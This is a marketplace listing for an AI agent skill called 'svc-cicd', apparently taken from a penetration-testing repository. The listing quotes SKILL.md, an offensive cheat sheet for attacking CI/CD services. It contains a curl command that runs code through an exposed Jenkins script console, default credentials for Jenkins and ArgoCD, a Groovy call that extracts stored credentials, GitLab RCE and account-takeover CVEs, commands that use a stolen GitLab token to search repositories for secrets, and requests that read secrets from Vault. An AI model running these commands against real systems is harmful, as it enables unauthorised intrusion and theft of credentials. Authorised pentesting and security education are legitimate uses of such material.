Skip to content
Agentmart
Submit a tool

svc-cicd

CI/CD gotchas — default creds, instant-RCE paths, secret leaks in logs.

Skill by s0ld13rr

IndexedMIT★ 883
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/s0ld13rr-svc-cicd

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

CI/CD gotchas — default creds, instant-RCE paths, secret leaks in logs. Use when a CI/CD service is found. Triggers - Jenkins, GitLab, ArgoCD, Vault, pipeline, runner token.

Use cases: devops, data, security, security-scanning

Reviews

Write a review

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/svc-cicd

What's inside

Skill name
svc-cicd
Description
CI/CD gotchas — default creds, instant-RCE paths, secret leaks in logs. Use when a CI/CD service is found. Triggers - Jenkins, GitLab, ArgoCD, Vault, pipeline, runner token.
License
MIT
Instructions
28 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Agent Skills spec issues

  • name: "svc-cicd" does not match folder "cicd"

Files (1)

  • SKILL.md

SKILL.md (first lines)

# CI/CD — Gotchas & Quick Wins

## Jenkins = RCE if /script is open
`curl -d 'script=println+"id".execute().text' http://TARGET:8080/script`
No auth needed if Groovy console is exposed. Check `/script` FIRST.
Default creds: `admin/admin`, `admin/password`, `admin/jenkins`.
Credential extraction (authenticated): Groovy → `SystemCredentialsProvider.getInstance().getCredentials()`.

## GitLab — version-dependent RCE
- **CVE-2021-22205** (11.9–13.10.3): RCE via image upload (ExifTool)
- **CVE-2023-7028**: Account takeover via password reset
Check version: `curl -s TARGET/api/v4/version`
Stolen API token → `curl -H "PRIVATE-TOKEN: ..." .../api/v4/projects?membership=true` → repos/snippets for secrets.

## ArgoCD default creds
Default: `admin` / pod name (`argocd-server-<hash>`). Often unchanged.

## Vault — check seal status first
`curl TARGET:8200/v1/sys/health` — unsealed + initialized = live secrets.
With root token: `curl -H "X-Vault-Token: ..." TARGET:8200/v1/secret/data/`

## Where secrets leak
- Build/pipeline logs (plaintext env vars, tokens, passwords)
- `.env`, `docker-compose.yml`, `Jenkinsfile`, `.gitlab-ci.yml` in repos
- Runner/agent tokens in pod environments
- Registry credentials (Docker Hub, ECR, GCR)

From s0ld13rr/pentestcode, MIT.

More from s0ld13rr/pentestcode

Compare and alternatives

    Featured in

    Signals

    Stars
    883
    Forks
    139
    Open issues
    3
    Last commit (this folder)
    Sep 2, 2026 (1 month ago)
    Last release
    Oct 23, 2026 (4 days ago)

    From GitHub (fetched Oct 24, 2026).

    Details

    License
    MIT
    Repository
    github.com/s0ld13rr/pentestcode
    First seen
    Oct 24, 2026
    Last checked
    Oct 24, 2026
    Source
    GitHubgithub-graphql

    Same skill elsewhere

    Copies of this SKILL.md published by others; search shows only one of them.

    More from s0ld13rr

    Cite this page

    svc-cicd skill. Agent Mart. https://agentmart.dev/skills/s0ld13rr-svc-cicd (last updated 2026-10-24)